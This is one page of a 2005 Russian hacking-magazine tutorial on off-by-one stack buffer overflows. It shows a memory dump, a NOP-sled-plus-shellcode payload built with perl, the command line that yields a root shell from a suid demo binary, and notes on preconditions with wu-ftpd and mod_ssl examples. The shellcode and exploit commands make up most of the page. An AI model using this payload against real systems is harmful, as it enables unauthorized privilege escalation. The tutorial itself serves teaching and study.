Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #83, НОЯБРЬ 2005 г.

Суровый байт-одиночка

1dt.w0lf

Хакер, номер #083, стр. 083-064-4


0xbfbfeb30: 0x00000001 0x90909090 0x90909090 0x90909090

0xbfbfeb40: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfbfeb50: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfbfeb60: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfbfeb70: 0x90909090 0x90909090 0xc0319090 0x5017b050

0xbfbfeb80: 0x685080cd 0x68732f6e 0x622f2f68 0x50e38969

0xbfbfeb90: 0xb0505354 0x0080cd3b 0xbfbfebec 0x2804da09

0xbfbfeba0: 0x28070000 0x00000001 0x0804864c 0xbfbfebec

0xbfbfebb0: 0x080484e9 0x00000003 0xbfbfebf4 0xbfbfec04

0xbfbfebc0: 0x080484de 0x0804864c 0xbfbfebe8 0x00000000

0xbfbfebd0: 0x00000000 0x00000000 0x2804d9ee 0xbfbfebf0

0xbfbfebe0: 0xbfbfebe8 0x00000000 0x00000000 0x00000000

0xbfbfebf0: 0x00000003 0xbfbfecd8 0xbfbfecff 0xbfbfed84

0xbfbfec00: 0x00000000 0xbfbfed89 0xbfbfed9b 0xbfbfeda6

0xbfbfec10: 0xbfbfedc0 0xbfbfedd2 0xbfbfeddc 0xbfbfede8

0xbfbfec20: 0xbfbfedfd 0xbfbfee27 0xbfbfee3b 0xbfbfeea6

0xbfbfec30: 0xbfbfeebc 0xbfbfeec8 0xbfbfeee1 0xbfbfef15

0xbfbfec40: 0xbfbfef27 0xbfbfef30 0xbfbfef38 0xbfbfef48

0xbfbfec50: 0xbfbfef55 0xbfbfef62 0xbfbfef84 0x00000000

0xbfbfec60: 0x00000003 0x08048034 0x00000004 0x00000020

0xbfbfec70: 0x00000005 0x00000006 0x00000006 0x00001000

0xbfbfec80: 0x00000008 0x00000000 0x00000009 0x08048464

Таким образом, мы можем использовать адреса 0xbfbfeb34 - 0xbfbfeb74 в качестве адреса возврата. Проверим этот наш вывод на практике.

$ sudo chown root one_byte_over

$ sudo chmod +s one_byte_over

$ ./one_byte_over `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";print "H"x33; print " "; print "\x44\xeb\xbf\xbf";'`

Bus error

Адреса, по которым располагаются данные, будут отличаться при выполнении в отладчике и вне его из-за различий в переменных окружения. Так что для точного попадания на адрес, по которому хранится второй аргумент, нам придется изменить длину первого аргумента. Это не сложно и банальным перебором мы можем найти необходимую длину:

$ ./one_byte_over `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";print "H"x57; print " "; print "\x44\xeb\xbf\xbf";'`

# id

uid=0(root)

Вуаля, готово!

[бочка дегтя]

Однако в каждой ложке меда есть бочка дегтя. Для того, чтобы такая уязвимость была эксплуатируемой, описанным способом необходимо выполнение следующих условий:

1) Во-первых, число байт в буфере должно быть кратным четырем, иначе однобайтовое переполнение не изменит сохраненного значения ebp.

2) Во-вторых необходимо, чтобы атакующий имел возможность контролировать область памяти, на которую укажет измененный ebp.

И тем не менее, не смотря на очевидные ограничения, многие ошибки подобного плана в реальных приложениях подвержены эксплуатации, как, например, однобайтовое переполнение в mod_ssl в Apache и переполнение в wu-ftpd.

переполнение в wu-ftpd

Пару лет назад на свет появился занимательный эксплойт, использующий ошибку в wu-ftpd версий 2.5.0 <= 2.6.2. Однобайтовое переполнение в функции fb_realpath() привело к тому, что локальный или удаленный взломщик мог без проблем получить рутовые права на машине с установленным бажным демоном.

Назад на стр. 083-064-3  Содержание  Вперед на стр. 083-064-5